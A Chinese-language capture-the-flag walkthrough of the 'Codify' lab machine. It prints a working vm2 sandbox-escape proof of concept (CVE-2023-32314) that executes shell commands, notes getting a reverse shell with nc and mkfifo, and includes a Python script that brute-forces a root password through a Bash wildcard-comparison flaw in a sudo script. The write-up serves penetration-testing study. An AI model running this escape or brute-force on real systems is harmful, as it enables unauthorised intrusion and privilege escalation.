Codify
端口扫描
端口利用
访问80端口
发现是一个测试Node.js代码的网页,并且用的是vm2沙盒,点击Try it now
漏洞利用
既然确定了是vm2搭建的沙盒,寻找vm2相关的漏洞
存在CVE-2023-32314
执行POC
const { VM } = require("vm2");
const vm = new VM();
const code = `
const err = new Error();
err.name = {
toString: new Proxy(() => "", {
apply(target, thiz, args) {
const process = args.constructor.constructor("return process")();
throw process.mainModule.require("child_process").execSync("id").toString();
},
}),
};
try {
err.stack;
} catch (stdout) {
stdout;
}
`;
console.log(vm.run(code));
id命令成功执行,改为反弹shell
发现没有-e参数,尝试改为使用nc mkfifo
成功拿到shell
权限提升
经过测试,发现当前用户sudo和suid均没有可以利用的点,想到该网站还有http服务,进入/var/www/目录查看,发现存在contact文件夹,其中有tickets.db文件
发现存放的是joshua用户和其加密后的密码,将密码解密
使用joshua账户登录ssh
登陆后查看可以使用的权限
发现能够执行/opt/scripts/mysql-backup.sh,查看该脚本内容
脚本的这一部分将用户提供的密码 (USER_PASS) 与实际的数据库密码 (DB_PASS) 进行比较。此处的漏洞是由于在 Bash 中使用 [[ ]] 中的 == 所致,它执行模式匹配而不是直接字符串比较。这意味着用户输入 (USER_PASS) 被视为一种模式,如果它包含 * 或 ?等通配字符,则它可能会匹配意外的字符串。
例如,如果实际密码 (DB_PASS) 是 password,但是用户输入 * 作为其密码 (USER_PASS),则模式匹配将成功,因为 * 匹配任何字符串,从而导致未经授权的访问。
编写一段python脚本跑密码
# test.py
import string
import subprocess
all = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all:
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(password)
break
else:
found = True
这一段代码首先假设密码为空,接着一个个跟大小写字母和数字,并在最后加上通配符 * ,以此作为用户的输入,与数据库密码做比较,假设密码为XSW@zaq1,则当character为X时,用户输入为X*,与密码匹配,将X加入到密码中,以此类推,直到与密码相同为止
爆破出密码后,切换到root用户
提权成功